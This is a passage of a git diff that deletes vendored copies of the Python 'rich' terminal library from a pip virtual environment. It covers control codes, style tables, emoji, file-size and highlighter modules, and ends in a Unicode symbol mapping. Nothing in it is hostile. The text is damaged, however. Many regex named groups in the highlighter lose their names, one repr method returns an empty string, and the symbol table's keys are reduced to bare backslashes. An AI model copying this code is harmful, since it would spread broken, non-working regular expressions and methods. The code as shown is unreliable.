ControlType.ENABLE_ALT_SCREEN: lambda: "\x1b[?1049h", - ControlType.DISABLE_ALT_SCREEN: lambda: "\x1b[?1049l", - ControlType.SHOW_CURSOR: lambda: "\x1b[?25h", - ControlType.HIDE_CURSOR: lambda: "\x1b[?25l", - ControlType.CURSOR_UP: lambda param: f"\x1b[{param}A", - ControlType.CURSOR_DOWN: lambda param: f"\x1b[{param}B", - ControlType.CURSOR_FORWARD: lambda param: f"\x1b[{param}C", - ControlType.CURSOR_BACKWARD: lambda param: f"\x1b[{param}D", - ControlType.CURSOR_MOVE_TO_COLUMN: lambda param: f"\x1b[{param+1}G", - ControlType.ERASE_IN_LINE: lambda param: f"\x1b[{param}K", - ControlType.CURSOR_MOVE_TO: lambda x, y: f"\x1b[{y+1};{x+1}H", - ControlType.SET_WINDOW_TITLE: lambda title: f"\x1b]0;{title}\x07", -} - - -class Control: - """A renderable that inserts a control code (non printable but may move cursor). - - Args: - *codes (str): Positional arguments are either a :class:`~rich.segment.ControlType` enum or a - tuple of ControlType and an integer parameter - """ - - __slots__ = ["segment"] - - def __init__(self, *codes: Union[ControlType, ControlCode]) -> None: - control_codes: List[ControlCode] = [ - (code,) if isinstance(code, ControlType) else code for code in codes - ] - _format_map = CONTROL_CODES_FORMAT - rendered_codes = "".join( - _format_map[code](*parameters) for code, *parameters in control_codes - ) - self.segment = Segment(rendered_codes, None, control_codes) - - @classmethod - def bell(cls) -> "Control": - """Ring the 'bell'.""" - return cls(ControlType.BELL) - - @classmethod - def home(cls) -> "Control": - """Move cursor to 'home' position.""" - return cls(ControlType.HOME) - - @classmethod - def move(cls, x: int = 0, y: int = 0) -> "Control": - """Move cursor relative to current position. - - Args: - x (int): X offset. - y (int): Y offset. - - Returns: - ~Control: Control object. - - """ - - def get_codes() -> Iterable[ControlCode]: - control = ControlType - if x: - yield ( - control.CURSOR_FORWARD if x > 0 else control.CURSOR_BACKWARD, - abs(x), - ) - if y: - yield ( - control.CURSOR_DOWN if y > 0 else control.CURSOR_UP, - abs(y), - ) - - control = cls(*get_codes()) - return control - - @classmethod - def move_to_column(cls, x: int, y: int = 0) -> "Control": - """Move to the given column, optionally add offset to row. - - Returns: - x (int): absolute x (column) - y (int): optional y offset (row) - - Returns: - ~Control: Control object. - """ - - return ( - cls( - (ControlType.CURSOR_MOVE_TO_COLUMN, x), - ( - ControlType.CURSOR_DOWN if y > 0 else ControlType.CURSOR_UP, - abs(y), - ), - ) - if y - else cls((ControlType.CURSOR_MOVE_TO_COLUMN, x)) - ) - - @classmethod - def move_to(cls, x: int, y: int) -> "Control": - """Move cursor to absolute position. - - Args: - x (int): x offset (column) - y (int): y offset (row) - - Returns: - ~Control: Control object. - """ - return cls((ControlType.CURSOR_MOVE_TO, x, y)) - - @classmethod - def clear(cls) -> "Control": - """Clear the screen.""" - return cls(ControlType.CLEAR) - - @classmethod - def show_cursor(cls, show: bool) -> "Control": - """Show or hide the cursor.""" - return cls(ControlType.SHOW_CURSOR if show else ControlType.HIDE_CURSOR) - - @classmethod - def alt_screen(cls, enable: bool) -> "Control": - """Enable or disable alt screen.""" - if enable: - return cls(ControlType.ENABLE_ALT_SCREEN, ControlType.HOME) - else: - return cls(ControlType.DISABLE_ALT_SCREEN) - - @classmethod - def title(cls, title: str) -> "Control": - """Set the terminal window title - - Args: - title (str): The new terminal window title - """ - return cls((ControlType.SET_WINDOW_TITLE, title)) - - def __str__(self) -> str: - return self.segment.text - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - if self.segment.text: - yield self.segment - - -def strip_control_codes( - text: str, _translate_table: Dict[int, None] = _CONTROL_STRIP_TRANSLATE -) -> str: - """Remove control codes from text. - - Args: - text (str): A string possibly contain control codes. - - Returns: - str: String with control codes removed. - """ - return text.translate(_translate_table) - - -def escape_control_codes( - text: str, - _translate_table: Dict[int, str] = CONTROL_ESCAPE, -) -> str: - """Replace control codes with their "escaped" equivalent in the given text. - (e.g. "\b" becomes "\\b") - - Args: - text (str): A string possibly containing control codes. - - Returns: - str: String with control codes replaced with their escaped version. - """ - return text.translate(_translate_table) - - -if __name__ == "__main__": # pragma: no cover - from pip._vendor.rich.console import Console - - console = Console() - console.print("Look at the title of your terminal window ^") - # console.print(Control((ControlType.SET_WINDOW_TITLE, "Hello, world!"))) - for i in range(10): - console.set_window_title("🚀 Loading" + "." * i) - time.sleep(0.5) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/default_styles.py b/venv/Lib/site-packages/pip/_vendor/rich/default_styles.py deleted file mode 100644 index 61797bf312c5498dd077a90e72f191eb4cd112ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/default_styles.py +++ /dev/null @@ -1,193 +0,0 @@ -from typing import Dict - -from .style import Style - -DEFAULT_STYLES: Dict[str, Style] = { - "none": Style.null(), - "reset": Style( - color="default", - bgcolor="default", - dim=False, - bold=False, - italic=False, - underline=False, - blink=False, - blink2=False, - reverse=False, - conceal=False, - strike=False, - ), - "dim": Style(dim=True), - "bright": Style(dim=False), - "bold": Style(bold=True), - "strong": Style(bold=True), - "code": Style(reverse=True, bold=True), - "italic": Style(italic=True), - "emphasize": Style(italic=True), - "underline": Style(underline=True), - "blink": Style(blink=True), - "blink2": Style(blink2=True), - "reverse": Style(reverse=True), - "strike": Style(strike=True), - "black": Style(color="black"), - "red": Style(color="red"), - "green": Style(color="green"), - "yellow": Style(color="yellow"), - "magenta": Style(color="magenta"), - "cyan": Style(color="cyan"), - "white": Style(color="white"), - "inspect.attr": Style(color="yellow", italic=True), - "inspect.attr.dunder": Style(color="yellow", italic=True, dim=True), - "inspect.callable": Style(bold=True, color="red"), - "inspect.async_def": Style(italic=True, color="bright_cyan"), - "inspect.def": Style(italic=True, color="bright_cyan"), - "inspect.class": Style(italic=True, color="bright_cyan"), - "inspect.error": Style(bold=True, color="red"), - "inspect.equals": Style(), - "inspect.help": Style(color="cyan"), - "inspect.doc": Style(dim=True), - "inspect.value.border": Style(color="green"), - "live.ellipsis": Style(bold=True, color="red"), - "layout.tree.row": Style(dim=False, color="red"), - "layout.tree.column": Style(dim=False, color="blue"), - "logging.keyword": Style(bold=True, color="yellow"), - "logging.level.notset": Style(dim=True), - "logging.level.debug": Style(color="green"), - "logging.level.info": Style(color="blue"), - "logging.level.warning": Style(color="yellow"), - "logging.level.error": Style(color="red", bold=True), - "logging.level.critical": Style(color="red", bold=True, reverse=True), - "log.level": Style.null(), - "log.time": Style(color="cyan", dim=True), - "log.message": Style.null(), - "log.path": Style(dim=True), - "repr.ellipsis": Style(color="yellow"), - "repr.indent": Style(color="green", dim=True), - "repr.error": Style(color="red", bold=True), - "repr.str": Style(color="green", italic=False, bold=False), - "repr.brace": Style(bold=True), - "repr.comma": Style(bold=True), - "repr.ipv4": Style(bold=True, color="bright_green"), - "repr.ipv6": Style(bold=True, color="bright_green"), - "repr.eui48": Style(bold=True, color="bright_green"), - "repr.eui64": Style(bold=True, color="bright_green"), - "repr.tag_start": Style(bold=True), - "repr.tag_name": Style(color="bright_magenta", bold=True), - "repr.tag_contents": Style(color="default"), - "repr.tag_end": Style(bold=True), - "repr.attrib_name": Style(color="yellow", italic=False), - "repr.attrib_equal": Style(bold=True), - "repr.attrib_value": Style(color="magenta", italic=False), - "repr.number": Style(color="cyan", bold=True, italic=False), - "repr.number_complex": Style(color="cyan", bold=True, italic=False), # same - "repr.bool_true": Style(color="bright_green", italic=True), - "repr.bool_false": Style(color="bright_red", italic=True), - "repr.none": Style(color="magenta", italic=True), - "repr.url": Style(underline=True, color="bright_blue", italic=False, bold=False), - "repr.uuid": Style(color="bright_yellow", bold=False), - "repr.call": Style(color="magenta", bold=True), - "repr.path": Style(color="magenta"), - "repr.filename": Style(color="bright_magenta"), - "rule.line": Style(color="bright_green"), - "rule.text": Style.null(), - "json.brace": Style(bold=True), - "json.bool_true": Style(color="bright_green", italic=True), - "json.bool_false": Style(color="bright_red", italic=True), - "json.null": Style(color="magenta", italic=True), - "json.number": Style(color="cyan", bold=True, italic=False), - "json.str": Style(color="green", italic=False, bold=False), - "json.key": Style(color="blue", bold=True), - "prompt": Style.null(), - "prompt.choices": Style(color="magenta", bold=True), - "prompt.default": Style(color="cyan", bold=True), - "prompt.invalid": Style(color="red"), - "prompt.invalid.choice": Style(color="red"), - "pretty": Style.null(), - "scope.border": Style(color="blue"), - "scope.key": Style(color="yellow", italic=True), - "scope.key.special": Style(color="yellow", italic=True, dim=True), - "scope.equals": Style(color="red"), - "table.header": Style(bold=True), - "table.footer": Style(bold=True), - "table.cell": Style.null(), - "table.title": Style(italic=True), - "table.caption": Style(italic=True, dim=True), - "traceback.error": Style(color="red", italic=True), - "traceback.border.syntax_error": Style(color="bright_red"), - "traceback.border": Style(color="red"), - "traceback.text": Style.null(), - "traceback.title": Style(color="red", bold=True), - "traceback.exc_type": Style(color="bright_red", bold=True), - "traceback.exc_value": Style.null(), - "traceback.offset": Style(color="bright_red", bold=True), - "traceback.error_range": Style(underline=True, bold=True), - "traceback.note": Style(color="green", bold=True), - "traceback.group.border": Style(color="magenta"), - "bar.back": Style(color="grey23"), - "bar.complete": Style(color="rgb(249,38,114)"), - "bar.finished": Style(color="rgb(114,156,31)"), - "bar.pulse": Style(color="rgb(249,38,114)"), - "progress.description": Style.null(), - "progress.filesize": Style(color="green"), - "progress.filesize.total": Style(color="green"), - "progress.download": Style(color="green"), - "progress.elapsed": Style(color="yellow"), - "progress.percentage": Style(color="magenta"), - "progress.remaining": Style(color="cyan"), - "progress.data.speed": Style(color="red"), - "progress.spinner": Style(color="green"), - "status.spinner": Style(color="green"), - "tree": Style(), - "tree.line": Style(), - "markdown.paragraph": Style(), - "markdown.text": Style(), - "markdown.em": Style(italic=True), - "markdown.emph": Style(italic=True), # For commonmark backwards compatibility - "markdown.strong": Style(bold=True), - "markdown.code": Style(bold=True, color="cyan", bgcolor="black"), - "markdown.code_block": Style(color="cyan", bgcolor="black"), - "markdown.block_quote": Style(color="magenta"), - "markdown.list": Style(color="cyan"), - "markdown.item": Style(), - "markdown.item.bullet": Style(color="yellow", bold=True), - "markdown.item.number": Style(color="yellow", bold=True), - "markdown.hr": Style(color="yellow"), - "markdown.h1.border": Style(), - "markdown.h1": Style(bold=True), - "markdown.h2": Style(bold=True, underline=True), - "markdown.h3": Style(bold=True), - "markdown.h4": Style(bold=True, dim=True), - "markdown.h5": Style(underline=True), - "markdown.h6": Style(italic=True), - "markdown.h7": Style(italic=True, dim=True), - "markdown.link": Style(color="bright_blue"), - "markdown.link_url": Style(color="blue", underline=True), - "markdown.s": Style(strike=True), - "iso8601.date": Style(color="blue"), - "iso8601.time": Style(color="magenta"), - "iso8601.timezone": Style(color="yellow"), -} - - -if __name__ == "__main__": # pragma: no cover - import argparse - import io - - from pip._vendor.rich.console import Console - from pip._vendor.rich.table import Table - from pip._vendor.rich.text import Text - - parser = argparse.ArgumentParser() - parser.add_argument("--html", action="store_true", help="Export as HTML table") - args = parser.parse_args() - html: bool = args.html - console = Console(record=True, width=70, file=io.StringIO()) if html else Console() - - table = Table("Name", "Styling") - - for style_name, style in DEFAULT_STYLES.items(): - table.add_row(Text(style_name, style=style), str(style)) - - console.print(table) - if html: - print(console.export_html(inline_styles=True)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/diagnose.py b/venv/Lib/site-packages/pip/_vendor/rich/diagnose.py deleted file mode 100644 index 92893b32c54f380b2b007145f7f33641131cddfb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/diagnose.py +++ /dev/null @@ -1,39 +0,0 @@ -import os -import platform - -from pip._vendor.rich import inspect -from pip._vendor.rich.console import Console, get_windows_console_features -from pip._vendor.rich.panel import Panel -from pip._vendor.rich.pretty import Pretty - - -def report() -> None: # pragma: no cover - """Print a report to the terminal with debugging information""" - console = Console() - inspect(console) - features = get_windows_console_features() - inspect(features) - - env_names = ( - "CLICOLOR", - "COLORTERM", - "COLUMNS", - "JPY_PARENT_PID", - "JUPYTER_COLUMNS", - "JUPYTER_LINES", - "LINES", - "NO_COLOR", - "TERM_PROGRAM", - "TERM", - "TTY_COMPATIBLE", - "TTY_INTERACTIVE", - "VSCODE_VERBOSE_LOGGING", - ) - env = {name: os.getenv(name) for name in env_names} - console.print(Panel.fit((Pretty(env)), title="[b]Environment Variables")) - - console.print(f'platform="{platform.system()}"') - - -if __name__ == "__main__": # pragma: no cover - report() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/emoji.py b/venv/Lib/site-packages/pip/_vendor/rich/emoji.py deleted file mode 100644 index 4a667edde73ac5e0077cd888f9d6bbc2da5bd156..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/emoji.py +++ /dev/null @@ -1,91 +0,0 @@ -import sys -from typing import TYPE_CHECKING, Optional, Union, Literal - -from .jupyter import JupyterMixin -from .segment import Segment -from .style import Style -from ._emoji_codes import EMOJI -from ._emoji_replace import _emoji_replace - - -if TYPE_CHECKING: - from .console import Console, ConsoleOptions, RenderResult - - -EmojiVariant = Literal["emoji", "text"] - - -class NoEmoji(Exception): - """No emoji by that name.""" - - -class Emoji(JupyterMixin): - __slots__ = ["name", "style", "_char", "variant"] - - VARIANTS = {"text": "\uFE0E", "emoji": "\uFE0F"} - - def __init__( - self, - name: str, - style: Union[str, Style] = "none", - variant: Optional[EmojiVariant] = None, - ) -> None: - """A single emoji character. - - Args: - name (str): Name of emoji. - style (Union[str, Style], optional): Optional style. Defaults to None. - - Raises: - NoEmoji: If the emoji doesn't exist. - """ - self.name = name - self.style = style - self.variant = variant - try: - self._char = EMOJI[name] - except KeyError: - raise NoEmoji(f"No emoji called {name!r}") - if variant is not None: - self._char += self.VARIANTS.get(variant, "") - - @classmethod - def replace(cls, text: str) -> str: - """Replace emoji markup with corresponding unicode characters. - - Args: - text (str): A string with emojis codes, e.g. "Hello :smiley:!" - - Returns: - str: A string with emoji codes replaces with actual emoji. - """ - return _emoji_replace(text) - - def __repr__(self) -> str: - return f"" - - def __str__(self) -> str: - return self._char - - def __rich_console__( - self, console: "Console", options: "ConsoleOptions" - ) -> "RenderResult": - yield Segment(self._char, console.get_style(self.style)) - - -if __name__ == "__main__": # pragma: no cover - import sys - - from pip._vendor.rich.columns import Columns - from pip._vendor.rich.console import Console - - console = Console(record=True) - - columns = Columns( - (f":{name}: {name}" for name in sorted(EMOJI.keys()) if "\u200D" not in name), - column_first=True, - ) - - console.print(columns) - if len(sys.argv) > 1: - console.save_html(sys.argv[1]) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/errors.py b/venv/Lib/site-packages/pip/_vendor/rich/errors.py deleted file mode 100644 index 0bcbe53ef59373c608e62ea285536f8b22b47ecb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/errors.py +++ /dev/null @@ -1,34 +0,0 @@ -class ConsoleError(Exception): - """An error in console operation.""" - - -class StyleError(Exception): - """An error in styles.""" - - -class StyleSyntaxError(ConsoleError): - """Style was badly formatted.""" - - -class MissingStyle(StyleError): - """No such style.""" - - -class StyleStackError(ConsoleError): - """Style stack is invalid.""" - - -class NotRenderableError(ConsoleError): - """Object is not renderable.""" - - -class MarkupError(ConsoleError): - """Markup was badly formatted.""" - - -class LiveError(ConsoleError): - """Error related to Live display.""" - - -class NoAltScreen(ConsoleError): - """Alt screen mode was required.""" diff --git a/venv/Lib/site-packages/pip/_vendor/rich/file_proxy.py b/venv/Lib/site-packages/pip/_vendor/rich/file_proxy.py deleted file mode 100644 index 4b0b0da6c2a62b2b1468c35ddd69f1bbb9b91aa8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/file_proxy.py +++ /dev/null @@ -1,57 +0,0 @@ -import io -from typing import IO, TYPE_CHECKING, Any, List - -from .ansi import AnsiDecoder -from .text import Text - -if TYPE_CHECKING: - from .console import Console - - -class FileProxy(io.TextIOBase): - """Wraps a file (e.g. sys.stdout) and redirects writes to a console.""" - - def __init__(self, console: "Console", file: IO[str]) -> None: - self.__console = console - self.__file = file - self.__buffer: List[str] = [] - self.__ansi_decoder = AnsiDecoder() - - @property - def rich_proxied_file(self) -> IO[str]: - """Get proxied file.""" - return self.__file - - def __getattr__(self, name: str) -> Any: - return getattr(self.__file, name) - - def write(self, text: str) -> int: - if not isinstance(text, str): - raise TypeError(f"write() argument must be str, not {type(text).__name__}") - buffer = self.__buffer - lines: List[str] = [] - while text: - line, new_line, text = text.partition("\n") - if new_line: - lines.append("".join(buffer) + line) - buffer.clear() - else: - buffer.append(line) - break - if lines: - console = self.__console - with console: - output = Text("\n").join( - self.__ansi_decoder.decode_line(line) for line in lines - ) - console.print(output) - return len(text) - - def flush(self) -> None: - output = "".join(self.__buffer) - if output: - self.__console.print(output) - del self.__buffer[:] - - def fileno(self) -> int: - return self.__file.fileno() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/filesize.py b/venv/Lib/site-packages/pip/_vendor/rich/filesize.py deleted file mode 100644 index 83bc9118d2bdb8983f863063687c2ea394a9abb1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/filesize.py +++ /dev/null @@ -1,88 +0,0 @@ -"""Functions for reporting filesizes. Borrowed from https://github.com/PyFilesystem/pyfilesystem2 - -The functions declared in this module should cover the different -use cases needed to generate a string representation of a file size -using several different units. Since there are many standards regarding -file size units, three different functions have been implemented. - -See Also: - * `Wikipedia: Binary prefix `_ - -""" - -__all__ = ["decimal"] - -from typing import Iterable, List, Optional, Tuple - - -def _to_str( - size: int, - suffixes: Iterable[str], - base: int, - *, - precision: Optional[int] = 1, - separator: Optional[str] = " ", -) -> str: - if size == 1: - return "1 byte" - elif size < base: - return f"{size:,} bytes" - - for i, suffix in enumerate(suffixes, 2): # noqa: B007 - unit = base**i - if size < unit: - break - return "{:,.{precision}f}{separator}{}".format( - (base * size / unit), - suffix, - precision=precision, - separator=separator, - ) - - -def pick_unit_and_suffix(size: int, suffixes: List[str], base: int) -> Tuple[int, str]: - """Pick a suffix and base for the given size.""" - for i, suffix in enumerate(suffixes): - unit = base**i - if size < unit * base: - break - return unit, suffix - - -def decimal( - size: int, - *, - precision: Optional[int] = 1, - separator: Optional[str] = " ", -) -> str: - """Convert a filesize in to a string (powers of 1000, SI prefixes). - - In this convention, ``1000 B = 1 kB``. - - This is typically the format used to advertise the storage - capacity of USB flash drives and the like (*256 MB* meaning - actually a storage capacity of more than *256 000 000 B*), - or used by **Mac OS X** since v10.6 to report file sizes. - - Arguments: - int (size): A file size. - int (precision): The number of decimal places to include (default = 1). - str (separator): The string to separate the value from the units (default = " "). - - Returns: - `str`: A string containing a abbreviated file size and units. - - Example: - >>> filesize.decimal(30000) - '30.0 kB' - >>> filesize.decimal(30000, precision=2, separator="") - '30.00kB' - - """ - return _to_str( - size, - ("kB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"), - 1000, - precision=precision, - separator=separator, - ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/highlighter.py b/venv/Lib/site-packages/pip/_vendor/rich/highlighter.py deleted file mode 100644 index e4c462e2b632a268ecfb4772320206b94a3d859c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/highlighter.py +++ /dev/null @@ -1,232 +0,0 @@ -import re -from abc import ABC, abstractmethod -from typing import List, Union - -from .text import Span, Text - - -def _combine_regex(*regexes: str) -> str: - """Combine a number of regexes in to a single regex. - - Returns: - str: New regex with all regexes ORed together. - """ - return "|".join(regexes) - - -class Highlighter(ABC): - """Abstract base class for highlighters.""" - - def __call__(self, text: Union[str, Text]) -> Text: - """Highlight a str or Text instance. - - Args: - text (Union[str, ~Text]): Text to highlight. - - Raises: - TypeError: If not called with text or str. - - Returns: - Text: A test instance with highlighting applied. - """ - if isinstance(text, str): - highlight_text = Text(text) - elif isinstance(text, Text): - highlight_text = text.copy() - else: - raise TypeError(f"str or Text instance required, not {text!r}") - self.highlight(highlight_text) - return highlight_text - - @abstractmethod - def highlight(self, text: Text) -> None: - """Apply highlighting in place to text. - - Args: - text (~Text): A text object highlight. - """ - - -class NullHighlighter(Highlighter): - """A highlighter object that doesn't highlight. - - May be used to disable highlighting entirely. - - """ - - def highlight(self, text: Text) -> None: - """Nothing to do""" - - -class RegexHighlighter(Highlighter): - """Applies highlighting from a list of regular expressions.""" - - highlights: List[str] = [] - base_style: str = "" - - def highlight(self, text: Text) -> None: - """Highlight :class:`rich.text.Text` using regular expressions. - - Args: - text (~Text): Text to highlighted. - - """ - - highlight_regex = text.highlight_regex - for re_highlight in self.highlights: - highlight_regex(re_highlight, style_prefix=self.base_style) - - -class ReprHighlighter(RegexHighlighter): - """Highlights the text typically produced from ``__repr__`` methods.""" - - base_style = "repr." - highlights = [ - r"(?P<)(?P[-\w.:|]*)(?P[\w\W]*)(?P>)", - r'(?P[\w_]{1,50})=(?P"?[\w_]+"?)?', - r"(?P[][{}()])", - _combine_regex( - r"(?P[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})", - r"(?P([A-Fa-f0-9]{1,4}::?){1,7}[A-Fa-f0-9]{1,4})", - r"(?P(?:[0-9A-Fa-f]{1,2}-){7}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{1,2}:){7}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{4}\.){3}[0-9A-Fa-f]{4})", - r"(?P(?:[0-9A-Fa-f]{1,2}-){5}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{1,2}:){5}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{4}\.){2}[0-9A-Fa-f]{4})", - r"(?P[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})", - r"(?P[\w.]*?)\(", - r"\b(?PTrue)\b|\b(?PFalse)\b|\b(?PNone)\b", - r"(?P\.\.\.)", - r"(?P(?(?\B(/[-\w._+]+)*\/)(?P[-\w._+]*)?", - r"(?b?'''.*?(?(file|https|http|ws|wss)://[-0-9a-zA-Z$_+!`(),.?/;:&=%#~@]*)", - ), - ] - - -class JSONHighlighter(RegexHighlighter): - """Highlights JSON""" - - # Captures the start and end of JSON strings, handling escaped quotes - JSON_STR = r"(?b?\".*?(?[\{\[\(\)\]\}])", - r"\b(?Ptrue)\b|\b(?Pfalse)\b|\b(?Pnull)\b", - r"(?P(? None: - super().highlight(text) - - # Additional work to handle highlighting JSON keys - plain = text.plain - append = text.spans.append - whitespace = self.JSON_WHITESPACE - for match in re.finditer(self.JSON_STR, plain): - start, end = match.span() - cursor = end - while cursor < len(plain): - char = plain[cursor] - cursor += 1 - if char == ":": - append(Span(start, end, "json.key")) - elif char in whitespace: - continue - break - - -class ISO8601Highlighter(RegexHighlighter): - """Highlights the ISO8601 date time strings. - Regex reference: https://www.oreilly.com/library/view/regular-expressions-cookbook/9781449327453/ch04s07.html - """ - - base_style = "iso8601." - highlights = [ - # - # Dates - # - # Calendar month (e.g. 2008-08). The hyphen is required - r"^(?P[0-9]{4})-(?P1[0-2]|0[1-9])$", - # Calendar date w/o hyphens (e.g. 20080830) - r"^(?P(?P[0-9]{4})(?P1[0-2]|0[1-9])(?P3[01]|0[1-9]|[12][0-9]))$", - # Ordinal date (e.g. 2008-243). The hyphen is optional - r"^(?P(?P[0-9]{4})-?(?P36[0-6]|3[0-5][0-9]|[12][0-9]{2}|0[1-9][0-9]|00[1-9]))$", - # - # Weeks - # - # Week of the year (e.g., 2008-W35). The hyphen is optional - r"^(?P(?P[0-9]{4})-?W(?P5[0-3]|[1-4][0-9]|0[1-9]))$", - # Week date (e.g., 2008-W35-6). The hyphens are optional - r"^(?P(?P[0-9]{4})-?W(?P5[0-3]|[1-4][0-9]|0[1-9])-?(?P[1-7]))$", - # - # Times - # - # Hours and minutes (e.g., 17:21). The colon is optional - r"^(?P

' : '\U0001d4ab', - '\\' : '\U0001d4ac', - '\\' : '\U0000211b', - '\\' : '\U0001d4ae', - '\\' : '\U0001d4af', - '\\' : '\U0001d4b0', - '\\' : '\U0001d4b1', - '\\' : '\U0001d4b2', - '\\' : '\U0001d4b3', - '\\' : '\U0001d4b4', - '\\' : '\U0001d4b5', - '\\' : '\U0001d5ba', - '\\' : '\U0001d5bb', - '\\' : '\U0001d5bc', - '\\' : '\U0001d5bd', - '\\' : '\U0001d5be', - '\\' : '\U0001d5bf', - '\\' : '\U0001d5c0', - '\\' : '\U0001d5c1', - '\\' : '\U0001d5c2', - '\\' : '\U0001d5c3', - '\\' : '\U0001d5c4', - '\\' : '\U0001d5c5', - '\\' : '\U0001d5c6', - '\\' : '\U0001d5c7', - '\\' : '\U0001d5c8', - '\\